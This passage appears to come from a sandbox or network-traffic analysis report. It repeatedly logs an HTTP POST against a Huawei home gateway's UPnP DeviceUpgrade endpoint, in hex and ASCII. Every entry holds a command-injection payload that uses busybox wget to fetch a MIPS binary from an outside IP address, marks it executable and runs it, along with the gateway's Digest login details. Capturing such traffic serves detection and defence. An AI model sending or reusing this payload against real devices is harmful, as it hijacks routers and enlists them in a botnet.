64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
